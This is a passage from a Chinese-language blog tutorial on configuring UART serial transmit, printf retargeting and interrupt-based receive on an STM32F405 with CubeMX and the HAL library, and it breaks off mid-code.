class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003chr\u003e\u003ch2 id=\"波特率\"\u003e\u003ca href=\"#波特率\" class=\"headerlink\" title=\"波特率\"\u003e\u003c/a\u003e波特率\u003c/h2\u003e\u003cp\u003e波特率的单位是 \u003cstrong\u003eBits\u0026#x2F;s\u003c/strong\u003e,很好理解, \u003cstrong\u003e每一位的传输时间\u003c/strong\u003e 。这个参数决定了串口传输数据的速度,115200,这是串口常用的波特率里很快的一个速度了,但是计算一下,11.5kbits\u0026#x2F;s,除以8换算成字节,也就是不到2kBytes\u0026#x2F;s,每秒传输一千多个字节的数据,就是这样一个速度了——比较老的USB2.0的U盘拷贝文件的速度大概在几个MBytes到十几MBytes每秒之间,对比一下可见串口这玩意确实是一个在速度上十分落后的通信接口了。\u003c/p\u003e\u003cp\u003e如何计算?比如我们的波特率是9600,那么每一位传输的时间是1\u0026#x2F;9600 s,意思就是说如果接连不断地发送数据帧,按照11bit长度计算,1秒钟可以发送9600\u0026#x2F;11\u0026#x3D;872.7,也就是差不多872个数据帧,也就是872字节。按照ASCII字母来说,872个英文字母\u0026#x2F;s,够直观了8~\u003c/p\u003e\u003ch2 id=\"CubeMX配置\"\u003e\u003ca href=\"#CubeMX配置\" class=\"headerlink\" title=\"CubeMX配置\"\u003e\u003c/a\u003eCubeMX配置\u003c/h2\u003e\u003cp\u003e本次使用 STM32F405RGT6\u003c/p\u003e\u003ch3 id=\"配置时钟\"\u003e\u003ca href=\"#配置时钟\" class=\"headerlink\" title=\"配置时钟\"\u003e\u003c/a\u003e配置时钟\u003c/h3\u003e\u003cp\u003e选择外部晶振,然后时钟拉到最高~\u003c/p\u003e\u003cp\u003e)用一张之前的图,意思差不多\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003ch4 id=\"设置调试接口\"\u003e\u003ca href=\"#设置调试接口\" class=\"headerlink\" title=\"设置调试接口\"\u003e\u003c/a\u003e设置调试接口\u003c/h4\u003e\u003cp\u003e)照着参考链接来\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/0.webp\"\u003e\u003c/p\u003e\u003ch3 id=\"配置串口\"\u003e\u003ca href=\"#配置串口\" class=\"headerlink\" title=\"配置串口\"\u003e\u003c/a\u003e配置串口\u003c/h3\u003e\u003cp\u003e先启用,选择异步通信;然后波特率保持默认的 115200 就行\u003c/p\u003e\u003cimg src=\"/img/posts/uart/1.webp\" alt=\"1\" /\u003e\u003ch3 id=\"选择生成必要的代码\"\u003e\u003ca href=\"#选择生成必要的代码\" class=\"headerlink\" title=\"选择生成必要的代码\"\u003e\u003c/a\u003e选择生成必要的代码\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/2.webp\" alt=\"2\"\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e1.Copy all used libraries into the project folder\u003c/p\u003e\u003cp\u003e将所有使用过的库复制到项目文件夹中。\u003c/p\u003e\u003cp\u003e不管你用,还是没有用到,都拷贝到你工程目录下。这样一来,你工程下文件就比较多。\u003c/p\u003e\u003cp\u003e2.Copy only the necessary library files \u003c/p\u003e\u003cp\u003e只复制必要的库文件。\u003c/p\u003e\u003cp\u003e这个相比上一个减少了很多文件。比如你没有使用CAN、SPI…等外设,就不会拷贝相关库文件到你工程下。\u003c/p\u003e\u003cp\u003e3.Add necessary library files as reference in the toolchain project configuration file \u003c/p\u003e\u003cp\u003e在工具链项目配置文件中添加必要的库文件作为参考。\u003c/p\u003e\u003cp\u003e这里没有复制HAL库文件,只添加了必要文件(如main.c)。相比上面,没有Drivers相关文件。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eGenerate peripheral initialization as a pair of’.c\u0026#x2F;.h’ files per peripheral\u003c/p\u003e\u003cp\u003e每个外设生成独立的’.c\u0026#x2F;.h’文件\u003c/p\u003e\u003cp\u003e不勾:所有初始化代码都生成在main.c\u003c/p\u003e\u003cp\u003e勾选:初始化代码生成在对应的外设文件。 如UART初始化代码生成在uart.c中。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e)其他配置啥的可以上网搜搜具体意思\u003c/p\u003e\u003ch2 id=\"UART-发送\"\u003e\u003ca href=\"#UART-发送\" class=\"headerlink\" title=\"UART 发送\"\u003e\u003c/a\u003eUART 发送\u003c/h2\u003e\u003cp\u003e主要使用到的函数为\u003c/p\u003e\u003cp\u003e在 \u003ccode\u003estm32f4xx_hal_uart.c\u003c/code\u003e 中\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003eHAL_StatusTypeDef \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehuart\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cul\u003e\u003cli\u003ehuart :选择用来发送的UART串口\u003c/li\u003e\u003cli\u003epData :指向将要发送的数据的指针\u003c/li\u003e\u003cli\u003eSize :发送数据的大小\u003c/li\u003e\u003cli\u003eTimeout:超时时间\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch3 id=\"直接发送\"\u003e\u003ca href=\"#直接发送\" class=\"headerlink\" title=\"直接发送\"\u003e\u003c/a\u003e直接发送\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e定义一个数组\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//数组内十六进制代表“ABCDE”\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e调用函数发送\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// UART发送,使用打开的第一个端口,发送定义的数组里的字符\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延迟1s\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"自己写发送函数\"\u003e\u003ca href=\"#自己写发送函数\" class=\"headerlink\" title=\"自己写发送函数\"\u003e\u003c/a\u003e自己写发送函数\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e前面的发送方式,不仅要传入句柄参数,还有数组、长度、超时时间参数。\u003c/p\u003e\u003cp\u003e为了简便发送,我们可以专门写一个字符串发送函数,可以直接传入一个数组即可发送,可以更简便地实现字符串发送。\u003c/p\u003e\u003cp\u003e优点是,发送数据更简便,能够一次性发送很长的数据数组。\u003c/p\u003e\u003cp\u003e但缺点就是不能控制发送的长度,会将整个数据数组发出。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体实现方式可以在参考链接中找到~\u003c/p\u003e\u003ch3 id=\"使用-printf-函数发送\"\u003e\u003ca href=\"#使用-printf-函数发送\" class=\"headerlink\" title=\"使用 printf() 函数发送\"\u003e\u003c/a\u003e使用 printf() 函数发送\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e好好好好好好好好好好好好好好好好好好\u003c/del\u003e\u003c/p\u003e\u003cp\u003e首先打开 \u003ccode\u003eusart.c\u003c/code\u003e,然后添加头文件 \u003ccode\u003e#include \u0026quot;stdio.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再加入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifdef\u003c/span\u003e \u003cspan class=\"token expression\"\u003e__GNUC__\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* With GCC/RAISONANCE, small printf (option LD Linker-\u003eLibraries-\u003eSmall printf set to 'Yes') calls __io_putchar() */\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003e__io_putchar\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003efputc\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e FILE \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ef\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* __GNUC__ */\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */\u003c/span\u003ePUTCHAR_PROTOTYPE\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Place your implementation of fputc here */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ech\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE END 1 */\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后再到 \u003ccode\u003emain.c\u003c/code\u003e 中添加头文件 \u003ccode\u003e#include \u0026quot;stdio.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e然后就能愉快的用 \u003ccode\u003eprintf()\u003c/code\u003e 了~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"Hello World!\\n\\r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"具体效果\"\u003e\u003ca href=\"#具体效果\" class=\"headerlink\" title=\"具体效果\"\u003e\u003c/a\u003e具体效果\u003c/h3\u003e\u003cp\u003e)用这个板子是因为上面已经有 \u003ccode\u003eCH340\u003c/code\u003e 这个芯片了,电脑上装好驱动可以直接用~\u003c/p\u003e\u003cp\u003e如果莫得的话,买一个 \u003ccode\u003eUSB 转 TTL 模块\u003c/code\u003e 就行,几块钱~\u003c/p\u003e\u003cp\u003e主要代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数组内十六进制代表 ABCDE\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 直接发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用 printf 发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"Hello World!\\n\\r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后连上,打开串口助手,打开串口\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/3.gif\" alt=\"3\"\u003e\u003c/p\u003e\u003ch2 id=\"UART-接收\"\u003e\u003ca href=\"#UART-接收\" class=\"headerlink\" title=\"UART 接收\"\u003e\u003c/a\u003eUART 接收\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)等我学完\u003c/del\u003e \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e在之前文件的基础上,打开串口中断\u003c/p\u003e\u003cimg src=\"/img/posts/uart/4.webp\" alt=\"4\" style=\"zoom:50%;\" /\u003e\u003cp\u003e如果开启了其他中断,要顺便设置一下中断优先级,如果没有默认即可\u003c/p\u003e\u003cimg src=\"/img/posts/uart/5.webp\" alt=\"5\" style=\"zoom:67%;\" /\u003e\u003cp\u003e生成代码。\u003c/p\u003e\u003ch3 id=\"函数说明\"\u003e\u003ca href=\"#函数说明\" class=\"headerlink\" title=\"函数说明\"\u003e\u003c/a\u003e函数说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e中断处理函数 \u003ccode\u003evoid USART1_IRQHandler(void)\u003c/code\u003e ,在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Transmit\u003c/code\u003e ,用来发送数据;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Receive\u003c/code\u003e ,用来接收函数\u003c/p\u003e\u003cp\u003e该函数能够通过huart串口接收Size位pData数据。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e参数说明:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehuart\u003c/code\u003e :选择用来接收的UART串口\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epData\u003c/code\u003e :指向将要存放数据的指针\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eSize\u003c/code\u003e :接收数据的大小\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eTimeout\u003c/code\u003e :超时时间\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"接收方式\"\u003e\u003ca href=\"#接收方式\" class=\"headerlink\" title=\"接收方式\"\u003e\u003c/a\u003e接收方式\u003c/h3\u003e\u003cp\u003e接收方式大概有三种,大致是\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e直接接收\u003c/p\u003e\u003cp\u003e这种方式为在 \u003ccode\u003ewhile\u003c/code\u003e 循环中不断判断是否接收成功,\u003cstrong\u003e会严重占用程序的进程\u003c/strong\u003e ,且接收较长的数据时,会发生接收错误。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,接收一位发送一位\u003c/p\u003e\u003cp\u003e使用中断可以很大程度的避免不必要的资源浪费。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在没有什么特别事件的时候,单片机会按照原本的程序运行着,等到有数据从UART串口发送过来时,会马上进入UART串口的中断处理函数中,完成相应的中断处理操作,完成后会退出中断函数,并继续原本在进行的程序,这样就不会占用单片机程序太多的进程了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e但仍会发生前面直接接收方式的接收异常状况\u003c/strong\u003e ,主要原因是,在中断处理函数中,我们在接收了数据后并紧接着作出发送的操作,这会出现一个状况,还没来得及将上一次接收到的数据发送出去,就进入下一次接收的中断,然而导致失去了一些数据了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,全部接收完后再发送\u003c/p\u003e\u003cp\u003e这个方式以一定的资源换取了一定程度数据的完整。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这种接收方式,是在方式2的基础上稍作改进的,较于前两种接收方式,是更好的一种接收方式,不会给原本的程序进程造成太大影响。还可以先接收全部数据(提示:通过定义一个较大的数组来存储),再将数据进行处理,这样能确保接收数据的完整性,并能将数据进行有效的处理、分析。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e以上 1, 2 两种方式可以在参考博客中找到实现方法,这里主要关注方法 3\u003c/p\u003e\u003ch3 id=\"中断接收,全部接收完后再发送\"\u003e\u003ca href=\"#中断接收,全部接收完后再发送\" class=\"headerlink\" title=\"中断接收,全部接收完后再发送\"\u003e\u003c/a\u003e中断接收,全部接收完后再发送\u003c/h3\u003e\u003ch4 id=\"使能接收中断\"\u003e\u003ca href=\"#使能接收中断\" class=\"headerlink\" title=\"使能接收中断\"\u003e\u003c/a\u003e\u003cstrong\u003e使能接收中断\u003c/strong\u003e\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003eHAL_UART_MspInit\u003c/code\u003e(在 \u003ccode\u003eusart.c\u003c/code\u003e中)\u003cstrong\u003e使能接收中断\u003c/strong\u003e \u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_MspInit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e uartHandle\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略掉的前面的一些配置\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euartHandle\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e UART_IT_RXNE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_MspInit 1 